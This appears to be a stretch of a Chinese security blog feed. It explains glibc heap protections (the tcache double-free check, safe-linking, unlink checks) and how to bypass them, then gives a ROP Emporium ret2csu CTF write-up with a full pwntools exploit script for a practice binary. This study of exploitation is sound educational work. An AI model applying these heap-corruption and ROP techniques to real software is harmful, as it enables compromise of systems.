&lt;p&gt;由于篇幅不小，所以有关这个 trick 我也单独分离出来了一篇博客，请移步 &lt;a href=&quot;/posts/pwn-notes/ret2gets/&quot;&gt;无 gadgets 也能翻盘：ret2gets 能否成为核武器？&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;薛定谔的 free chunks: Double Free, Double Fun ?&lt;/h1&gt;
&lt;p&gt;:::tip
基于 &lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.31/source&quot;&gt;glibc-2.31&lt;/a&gt; 的源码。
:::&lt;/p&gt;
&lt;p&gt;宏观上来看，程序调用 &lt;code&gt;free&lt;/code&gt; 函数首先会进入 &lt;code&gt;__libc_free&lt;/code&gt;，在这里主要是做了一些初始化工作，诸如看看有没有 &lt;code&gt;__free_hook&lt;/code&gt;、是不是 &lt;code&gt;mmap&lt;/code&gt; 出来的、初始化 &lt;code&gt;tcache_perthread_struct&lt;/code&gt; 等。然后调用 &lt;code&gt;_int_free&lt;/code&gt; 函数，这个函数才是真正负责分门别类，确定最终我们 free 的 chunk 应该被放到哪里的地方。&lt;/p&gt;
&lt;h2&gt;Related Structures / Macros Definitions&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry {
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence &quot;tcache_perthread_struct&quot;).  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct {
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Related Functions&lt;/h2&gt;
&lt;p&gt;先看看被 free 的 chunk 是怎么被放入 tcachebin 的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Caller must ensure that we know tc_idx is valid and there&apos;s room
   for more chunks.  */
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);

  /* Mark this chunk as &quot;in the tcache&quot; so the test in _int_free will
     detect a double free.  */
  e-&amp;gt;key = tcache;

  e-&amp;gt;next = tcache-&amp;gt;entries[tc_idx];
  tcache-&amp;gt;entries[tc_idx] = e;
  ++(tcache-&amp;gt;counts[tc_idx]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;当 chunk 被放入 tcache 时，glibc 会把 data 部分视作 &lt;code&gt;tcache_entry&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;之后将当前线程的 &lt;code&gt;tcache_perthread_struct&lt;/code&gt; 结构体地址写入到 &lt;code&gt;key&lt;/code&gt; 字段（与 &lt;code&gt;bk&lt;/code&gt; 重叠）&lt;/li&gt;
&lt;li&gt;接着设置 &lt;code&gt;next&lt;/code&gt; 字段指向当前 tcachebin 中的下一个 free chunk（与 &lt;code&gt;fd&lt;/code&gt; 重叠）&lt;/li&gt;
&lt;li&gt;然后将当前 tcachebin 的 header 设为这个新放入的 chunk&lt;/li&gt;
&lt;li&gt;增加此 bin 的 counts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;然后再看 double free 检查：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#if USE_TCACHE
{
  size_t tc_idx = csize2tidx(size);
  if (tcache != NULL &amp;amp;&amp;amp; tc_idx &amp;lt; mp_.tcache_bins) {
    /* Check to see if it&apos;s already in the tcache.  */
    tcache_entry *e = (tcache_entry *)chunk2mem(p);

    /* This test succeeds on double free.  However, we don&apos;t 100%
       trust it (it also matches random payload data at a 1 in
       2^&amp;lt;size_t&amp;gt; chance), so verify it&apos;s not an unlikely
       coincidence before aborting.  */
    if (__glibc_unlikely(e-&amp;gt;key == tcache)) {
      tcache_entry *tmp;
      LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
      for (tmp = tcache-&amp;gt;entries[tc_idx]; tmp; tmp = tmp-&amp;gt;next)
        if (tmp == e)
          malloc_printerr(&quot;free(): double free detected in tcache 2&quot;);
      /* If we get here, it was a coincidence.  We&apos;ve wasted a
         few cycles, but don&apos;t abort.  */
    }

    if (tcache-&amp;gt;counts[tc_idx] &amp;lt; mp_.tcache_count) {
      tcache_put(p, tc_idx);
      return;
    }
  }
}
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里就只讲关键部分了。首先它将我们要 free 的 chunk 的 data 部分转换为了 &lt;code&gt;tcache_entry&lt;/code&gt; 结构体，使用 &lt;code&gt;e&lt;/code&gt; 指代。如果 &lt;code&gt;e-&amp;gt;key == tcache&lt;/code&gt; 的话，就怀疑是不是有 double free 的风险，因为我们知道，当第一次 free 时，glibc 会写 &lt;code&gt;e-&amp;gt;key = tcache&lt;/code&gt;。但并不能因此而直接下定论说这就是一个 double free，因为用户写入的数据有概率正巧等于 &lt;code&gt;tcache&lt;/code&gt;，虽说只有 &lt;code&gt;1/2^&amp;lt;size_t&amp;gt;&lt;/code&gt; 的极小概率，但也不能忽略。所以还需要做进一步检查，确定我们要 free 的 chunk 是否已经存在于 tcachebin 中了，于是就进入 for 循环，对这个 tcachebin 中的每一个 free chunk 做判断，如果它与 &lt;code&gt;e&lt;/code&gt; 相同，则说明确实触发了 double free 。&lt;/p&gt;
&lt;p&gt;那么为了绕过 double free，可行的方案可能有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把 key 改成非 tcache 值，让第一步检查失效&lt;/li&gt;
&lt;li&gt;篡改 next 指针，让遍历不到目标 chunk，从而绕过第二步的 in list 检查&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;解链之诗：堆上咒语的逆诵&lt;/h1&gt;
&lt;h2&gt;Safe-linking&lt;/h2&gt;
&lt;p&gt;从 glibc-2.32 开始，引入了 safe-linking 这一 mitigation，用于保护单向链表（tcache 和 fastbin），原理是 mangling fd 指针，使其更难因为被任意值覆盖而导致一系列的漏洞利用。&lt;/p&gt;
&lt;p&gt;直接看代码好了，因为这又是一个及其简单的 mitigation，但却和历史上许多简单的设计一样，起到了非凡的效果……每次碰到这种简单的东西都会让我由衷地感慨，这又怎么不算是人类的智慧之光呢？~OrZ~&lt;/p&gt;
&lt;p&gt;下面我引用的是当前最新的 &lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.42/source/malloc/malloc.c#L331&quot;&gt;glibc-2.42&lt;/a&gt; 的源码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Safe-Linking:
   Use randomness from ASLR (mmap_base) to protect single-linked lists
   of Fast-Bins and TCache.  That is, mask the &quot;next&quot; pointers of the
   lists&apos; chunks, and also perform allocation alignment checks on them.
   This mechanism reduces the risk of pointer hijacking, as was done with
   Safe-Unlinking in the double-linked lists of Small-Bins.
   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
   larger pages provide less entropy, although the pointer mangling
   still works.  */
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) &amp;gt;&amp;gt; 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&amp;amp;ptr, ptr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到新加入了两个 macro，分别是用来 mangling 的 &lt;code&gt;PROTECT_PTR&lt;/code&gt; 和用来 de-mangling 的 &lt;code&gt;REVEAL_PTR&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;右移 12 bits 是为了只保留 ASLR 部分，丢弃了固定的偏移位。&lt;code&gt;PROTECT_PTR&lt;/code&gt; 中，&lt;code&gt;pos&lt;/code&gt; 代表当前 chunk 的 fd 的地址，&lt;code&gt;ptr&lt;/code&gt; 代表 fd 指向的地址，也就是当前 bin 中的第一个元素，所以一开始 bin 中没有元素的时候它为 NULL。这个的话我觉得可以自己去读一遍源码，一目了然。&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;至于怎么 bypass，相信聪明的你一定会自己研究明白的，不对吗？&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;:::tip
XOR 是可逆运算。
:::&lt;/p&gt;
&lt;h2&gt;Alignment Check&lt;/h2&gt;
&lt;p&gt;除了 safe-linking 外，对于我们能 malloc / free 的 chunk 还新增了一个对齐检查：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Check if m has acceptable alignment */

#define misaligned_mem(m)  ((uintptr_t)(m) &amp;amp; MALLOC_ALIGN_MASK)

#define misaligned_chunk(p) (misaligned_mem( chunk2mem (p)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中，tcache 用的是 &lt;code&gt;misaligned_mem&lt;/code&gt;，而 fastbin 用的则是 &lt;code&gt;misaligned_chunk&lt;/code&gt;，这是因为 tcache bin 中存储的都是 user data，而 fastbin 中存储的都是从 chunk header 开始的地址。不过不管用哪个，最后检查的都是 user data 的地址是否是对齐的，要求是 &lt;code&gt;&amp;amp; MALLOC_ALIGN_MASK == 0&lt;/code&gt;，通常就是 &lt;code&gt;&amp;amp; 0xf == 0&lt;/code&gt;，也就是 16 字节对齐，即低 4 bits 为 0，这就导致攻击者无法将其篡改为任意地址，更多的时候可能需要用临近地址替代来达到目的。&lt;/p&gt;
&lt;h1&gt;Mirror, Mirror on the Heap&lt;/h1&gt;
&lt;p&gt;这里主要是想写一下 overlapping 这个 trick，概念非常简单，直接看代码吧，这里参考的是当前最新的 glibc-2.42 的代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) &amp;amp; ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p) ((p)-&amp;gt;mchunk_size)

/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))

/* Size of the chunk below P.  Only valid if !prev_inuse (P).  */
#define prev_size(p) ((p)-&amp;gt;mchunk_prev_size)

/* Ptr to previous physical malloc_chunk.  Only valid if !prev_inuse (P).  */
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))

/* extract p&apos;s inuse bit */
#define inuse(p)                                                              \
  ((((mchunkptr) (((char *) (p)) + chunksize (p)))-&amp;gt;mchunk_size) &amp;amp; PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于过于简单，我就不细写解析了，简单来说就是要去理解一下它是怎么通过 chunk header 来定位前后 chunk 的，以及怎么判断当前 chunk 是否处于 free 状态。&lt;/p&gt;
&lt;p&gt;因此只要我们能篡改 chunk size 就可以让它 malloc / free 涵盖到更大的范围，称为 chunk extend，也叫做 chunk overlapping 。当然，也可以反过来，把这个大小改小可以实现一个 chunk shrink 的操作。&lt;/p&gt;
&lt;h1&gt;Doubly Linked, Doubly Doomed&lt;/h1&gt;
&lt;p&gt;这里只看高版本 unlink 利用，参考的是 &lt;code&gt;how2heap&lt;/code&gt; 中的 &lt;a href=&quot;https://github.com/shellphish/how2heap/blob/master/glibc_2.35/unsafe_unlink.c&quot;&gt;glibc_2.35/unsafe_unlink&lt;/a&gt;，低版本同理，不过更简单。&lt;/p&gt;
&lt;p&gt;思路是先创建两个 chunk，在 chunk 0 中创建一个 fake chunk，并且改变 chunk 1 的 metadata，修改它的 &lt;code&gt;prev_size&lt;/code&gt; 为 fake chunk 的 &lt;code&gt;chunk_size&lt;/code&gt;，并修改它的 &lt;code&gt;chunk_size&lt;/code&gt; 的 &lt;code&gt;prev_inuse&lt;/code&gt; bit 为 0，这样一来我们 free chunk 1 的时候它就会认为上一个 chunk 是 free&apos;d 状态，会进行 backward consolidation，将 chunk 1 与 fake chunk 进行合并，即对 fake chunk 进行 unlink 。&lt;/p&gt;
&lt;p&gt;free 判断是否需要合并的代码如下（这里只高亮了 example 中会进入的逻辑，具体情况还需要自己具体分析）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  /*
    Consolidate other non-mmapped chunks as they arrive.
  */

  else if (!chunk_is_mmapped(p)) {

    /* If we&apos;re single-threaded, don&apos;t lock the arena.  */
    if (SINGLE_THREAD_P)
      have_lock = true;

    if (!have_lock)
      __libc_lock_lock (av-&amp;gt;mutex);

    nextchunk = chunk_at_offset(p, size);

    /* Lightweight tests: check whether the block is already the
       top block.  */
    if (__glibc_unlikely (p == av-&amp;gt;top))
      malloc_printerr (&quot;double free or corruption (top)&quot;);
    /* Or whether the next chunk is beyond the boundaries of the arena.  */
    if (__builtin_expect (contiguous (av)
     &amp;amp;&amp;amp; (char *) nextchunk
     &amp;gt;= ((char *) av-&amp;gt;top + chunksize(av-&amp;gt;top)), 0))
 malloc_printerr (&quot;double free or corruption (out)&quot;);
    /* Or whether the block is actually not marked used.  */
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      malloc_printerr (&quot;double free or corruption (!prev)&quot;);

    nextsize = chunksize(nextchunk);
    if (__builtin_expect (chunksize_nomask (nextchunk) &amp;lt;= CHUNK_HDR_SZ, 0)
 || __builtin_expect (nextsize &amp;gt;= av-&amp;gt;system_mem, 0))
      malloc_printerr (&quot;free(): invalid next size (normal)&quot;);

    free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr (&quot;corrupted size vs. prev_size while consolidating&quot;);
      unlink_chunk (av, p);
    }

    if (nextchunk != av-&amp;gt;top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      if (!nextinuse) {
 unlink_chunk (av, nextchunk);
 size += nextsize;
      } else
 clear_inuse_bit_at_offset(nextchunk, 0);

      /*
 Place the chunk in unsorted chunk list. Chunks are
 not placed into regular bins until after they have
 been given one chance to be used in malloc.
      */

      bck = unsorted_chunks(av);
      fwd = bck-&amp;gt;fd;
      if (__glibc_unlikely (fwd-&amp;gt;bk != bck))
 malloc_printerr (&quot;free(): corrupted unsorted chunks&quot;);
      p-&amp;gt;fd = fwd;
      p-&amp;gt;bk = bck;
      if (!in_smallbin_range(size))
 {
   p-&amp;gt;fd_nextsize = NULL;
   p-&amp;gt;bk_nextsize = NULL;
 }
      bck-&amp;gt;fd = p;
      fwd-&amp;gt;bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av-&amp;gt;top = p;
      check_chunk(av, p);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;unlink 代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr (&quot;corrupted size vs. prev_size&quot;);

  mchunkptr fd = p-&amp;gt;fd;
  mchunkptr bk = p-&amp;gt;bk;

  if (__builtin_expect (fd-&amp;gt;bk != p || bk-&amp;gt;fd != p, 0))
    malloc_printerr (&quot;corrupted double-linked list&quot;);

  fd-&amp;gt;bk = bk;
  bk-&amp;gt;fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) &amp;amp;&amp;amp; p-&amp;gt;fd_nextsize != NULL)
    {
      if (p-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize != p
   || p-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize != p)
 malloc_printerr (&quot;corrupted double-linked list (not small)&quot;);

      if (fd-&amp;gt;fd_nextsize == NULL)
 {
   if (p-&amp;gt;fd_nextsize == p)
     fd-&amp;gt;fd_nextsize = fd-&amp;gt;bk_nextsize = fd;
   else
     {
       fd-&amp;gt;fd_nextsize = p-&amp;gt;fd_nextsize;
       fd-&amp;gt;bk_nextsize = p-&amp;gt;bk_nextsize;
       p-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize = fd;
       p-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize = fd;
     }
 }
      else
 {
   p-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize = p-&amp;gt;bk_nextsize;
   p-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize = p-&amp;gt;fd_nextsize;
 }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于 unlink 的保护，首先得绕过这个 size 检测，即，下一个 chunk 的 &lt;code&gt;prev_size&lt;/code&gt; 和当前 chunk 的 &lt;code&gt;chunk_size&lt;/code&gt; 得是相等的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr (&quot;corrupted size vs. prev_size&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后还有两个要注意的地方，即 &lt;code&gt;P-&amp;gt;fd-&amp;gt;bk == P &amp;amp;&amp;amp; P-&amp;gt;bk-&amp;gt;fd == P&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  mchunkptr fd = p-&amp;gt;fd;
  mchunkptr bk = p-&amp;gt;bk;

  if (__builtin_expect (fd-&amp;gt;bk != p || bk-&amp;gt;fd != p, 0))
    malloc_printerr (&quot;corrupted double-linked list&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际的 unlinking 代码为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mchunkptr fd = p-&amp;gt;fd;
mchunkptr bk = p-&amp;gt;bk;

fd-&amp;gt;bk = bk;
bk-&amp;gt;fd = fd;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经调试发现，它们改的都是同一个值，所以最后生效的其实只有 &lt;code&gt;bk-&amp;gt;fd = fd&lt;/code&gt;，即把 chunk 0 的地址改为了 fake chunk 的 fd 值。现在，我们向 chunk 0 写入数据就是写入到 fake chunk 的 fd 指向的值中去了。&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: ROP Emporium series</title><link>https://cubeyond.net/posts/write-ups/rop-emporium-series/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/rop-emporium-series/</guid><description>Write-ups for ROP Emporium series.</description><pubDate>Sat, 01 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;两月一号了，眼看九号就要打比赛我却还没学过 &lt;code&gt;ret2csu&lt;/code&gt; 和 &lt;code&gt;SROP&lt;/code&gt;，所以特此提前开一章 &lt;a href=&quot;https://ropemporium.com/&quot;&gt;ROP Emporium&lt;/a&gt; 的题解，问就是里面有一道 &lt;code&gt;ret2csu&lt;/code&gt;，而且早晚会得这份题库的 LMAO&lt;/p&gt;
&lt;p&gt;可惜没有 &lt;code&gt;SROP&lt;/code&gt;，那这个我只能去 &lt;a href=&quot;https://guyinatuxedo.github.io/&quot;&gt;Nightmare&lt;/a&gt; 找题做了，要不就自己出一题也行。&lt;/p&gt;
&lt;p&gt;啊，突然想起来还有 &lt;code&gt;ret2dlresolve&lt;/code&gt; 和 &lt;code&gt;ret2vDSO&lt;/code&gt;……一会儿再开一章 tricks 专题好了，就从 ROP 的 tricks 开始写。&lt;/p&gt;
&lt;h1&gt;Challenge 8&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;We&apos;re back in ret2win territory, but this time with no useful gadgets.&amp;lt;br/&amp;gt;
How will we populate critical registers without them?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;~&lt;em&gt;好啊，ROP Emporium 一共就八道题，而 ret2csu 就是这最后一题，有种上来就 bypass 小怪直奔去 attack BOSS&apos;s ass 的感觉，帅不帅？(bushi)&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;嗯……有关 &lt;code&gt;ret2csu&lt;/code&gt; 这个 trick 的详细信息，可以去读这篇发在 Black Hat Asia 的论文[^1].&lt;/p&gt;
&lt;p&gt;简单来说就是当你找不到可以控制函数参数的 gadgets 时，就可以考虑一下这个 trick.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当一个程序使用某些库（如 libc）时，它有一些内置函数来管理程序不同部分之间的通信。在这些函数中，有一些隐藏的宝石可以作为我们缺失的 gadgets，特别是一个叫 &lt;code&gt;__libc_csu_init&lt;/code&gt; 的函数。——Hack Tricks&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;就以本题的 &lt;code&gt;__libc_csu_init&lt;/code&gt; 为例（不同版本的 libc 的这个函数可能略有区别，不过影响不大），看一下里面有什么好东东：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__libc_csu_init
__libc_csu_init          ; =============== S U B R O U T I N E =======================================
__libc_csu_init
__libc_csu_init
__libc_csu_init          ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
__libc_csu_init                          public __libc_csu_init
__libc_csu_init          __libc_csu_init proc near               ; DATA XREF: _start+16↑o
__libc_csu_init          ; __unwind {
__libc_csu_init      000                 push    r15
__libc_csu_init+2    008                 push    r14
__libc_csu_init+4    010                 mov     r15, rdx
__libc_csu_init+7    010                 push    r13
__libc_csu_init+9    018                 push    r12
__libc_csu_init+B    020                 lea     r12, __frame_dummy_init_array_entry ; Load Effective Address
__libc_csu_init+12   020                 push    rbp
__libc_csu_init+13   028                 lea     rbp, __do_global_dtors_aux_fini_array_entry ; Load Effective Address
__libc_csu_init+1A   028                 push    rbx
__libc_csu_init+1B   030                 mov     r13d, edi
__libc_csu_init+1E   030                 mov     r14, rsi
__libc_csu_init+21   030                 sub     rbp, r12        ; Integer Subtraction
__libc_csu_init+24   030                 sub     rsp, 8          ; Integer Subtraction
__libc_csu_init+28   038                 sar     rbp, 3          ; Shift Arithmetic Right
__libc_csu_init+2C   038                 call    _init_proc      ; Call Procedure
__libc_csu_init+31   038                 test    rbp, rbp        ; Logical Compare
__libc_csu_init+34   038                 jz      short loc_400696 ; Jump if Zero (ZF=1)
__libc_csu_init+36   038                 xor     ebx, ebx        ; Logical Exclusive OR
__libc_csu_init+38   038                 nop     dword ptr [rax+rax+00000000h] ; No Operation
__libc_csu_init+40
__libc_csu_init+40       loc_400680:                             ; CODE XREF: __libc_csu_init+54↓j
__libc_csu_init+40   038                 mov     rdx, r15
__libc_csu_init+43   038                 mov     rsi, r14
__libc_csu_init+46   038                 mov     edi, r13d
__libc_csu_init+49   038                 call    ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8] ; Indirect Call Near Procedure
__libc_csu_init+4D   038                 add     rbx, 1          ; Add
__libc_csu_init+51   038                 cmp     rbp, rbx        ; Compare Two Operands
__libc_csu_init+54   038                 jnz     short loc_400680 ; Jump if Not Zero (ZF=0)
__libc_csu_init+56
__libc_csu_init+56       loc_400696:                             ; CODE XREF: __libc_csu_init+34↑j
__libc_csu_init+56   038                 add     rsp, 8          ; Add
__libc_csu_init+5A   030                 pop     rbx
__libc_csu_init+5B   028                 pop     rbp
__libc_csu_init+5C   020                 pop     r12
__libc_csu_init+5E   018                 pop     r13
__libc_csu_init+60   010                 pop     r14
__libc_csu_init+62   008                 pop     r15
__libc_csu_init+64   000                 retn                    ; Return Near from Procedure
__libc_csu_init+64       ; } // starts at 400640
__libc_csu_init+64       __libc_csu_init endp
__libc_csu_init+64
__libc_csu_init+64       ; ---------------------------------------------------------------------------
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现有两个实用的 gadgets，分别是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mov rdx, r15
mov rsi, r14
mov edi, r13d
call QWORD PTR [r12 + rbx * 8]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这不就直接控制了函数的前三个参数了？多好。&lt;/p&gt;
&lt;p&gt;注意第二个 gadget 也可以是以 &lt;code&gt;ret&lt;/code&gt; 结束的，但是需要抵消一些 side effects：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov rdx, r15
mov rsi, r14
mov edi, r13d
call QWORD PTR [r12 + rbx * 8]
add rbx, 0x1
cmp rbp, rbx
jnz &amp;lt;func&amp;gt;
  &amp;lt;snap&amp;gt;
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[r12 + rbx * 8]&lt;/code&gt; 必须指向一个存储可调用函数的地址（如果没有想法且没有 PIE，可以直接使用 &lt;code&gt;_init&lt;/code&gt; 函数）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rbp&lt;/code&gt; 和 &lt;code&gt;rbx&lt;/code&gt; 必须具有相同的值以避免跳转。&lt;/li&gt;
&lt;li&gt;有一些被省略的 &lt;code&gt;pop&lt;/code&gt;s 需要考虑。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;另外，从 ret2csu gadget 控制 rdi 和 rsi 的另一种方法是通过访问特定的偏移量，可以参考这篇讲 BROP 的论文[^2].&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4qrmd63stf.svg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;唯一一个问题可能就是怎么让 &lt;code&gt;call QWORD PTR [r12 + rbx * 8]&lt;/code&gt; 调用 &lt;code&gt;_init&lt;/code&gt; 了，不解释，直接看操作：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/a _init
0x4004d0 &amp;lt;_init&amp;gt;: 0x1d058b4808ec8348
pwndbg&amp;gt; search -t dword 0x4004d0
Searching for a 4-byte integer: b&apos;\xd0\x04@\x00&apos;
ret2csu         0x400398 rol byte ptr [rax + rax*2], 1
ret2csu         0x400e38 rol byte ptr [rax + rax*2], 1
ret2csu         0x600398 0x4004d0 (_init)
ret2csu         0x600e38 0x4004d0 (_init)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./ret2csu&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *pwnme+133
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload():
    padding_to_ret = b&quot;&quot;.ljust(0x28, b&quot;A&quot;)

    _init = 0x600398
    __libc_csu_init = elf.symbols[&quot;__libc_csu_init&quot;]

    generic_gadget_1 = __libc_csu_init + 90
    generic_gadget_2 = __libc_csu_init + 64
    pop_rdi_ret = __libc_csu_init + 99

    cleanup_regs = [b&quot;&quot;.ljust(0x8, b&quot;A&quot;) * 6]

    return flat(
        padding_to_ret,
        generic_gadget_1,
        0x0,  # rbx
        0x1,  # rbp
        _init,  # r12 —▸ _init
        b&quot;&quot;.ljust(0x8, b&quot;A&quot;),  # r13
        0xCAFEBABECAFEBABE,  # r14 —▸ rsi
        0xD00DF00DD00DF00D,  # r15 —▸ rdx
        generic_gadget_2,
        b&quot;&quot;.ljust(0x8, b&quot;A&quot;),  # add rsp, 0x8
        *cleanup_regs,  # for generic_gadget_1
        pop_rdi_ret,
        0xDEADBEEFDEADBEEF,
        elf.symbols[&quot;ret2win&quot;],
    )


def attack(target):
    try:
        payload = construct_payload()

        target.sendafter(b&quot;&amp;gt; &quot;, payload)

        response = target.recvall(timeout=3)

        if b&quot;ROPE{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;ROPE{a_placeholder_32byte_flag!}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;没有后记，这系列还有七题没打呢写个毛的后记……&lt;/p&gt;
&lt;p&gt;[^1]: Marco-gisbert, Hector and Ismael Ripoll. &quot;return-to-csu: a new method to bypass 64-bit Linux ASLR.&quot; (2018).
[^2]: A. Bittau, A. Belay, A. Mashtizadeh, D. Mazières and D. Boneh, &quot;Hacking Blind,&quot; 2014 IEEE Symposium on Security and Privacy, Berkeley, CA, USA, 2014, pp. 227-242, doi: 10.1109/SP.2014.22.&lt;/p&gt;
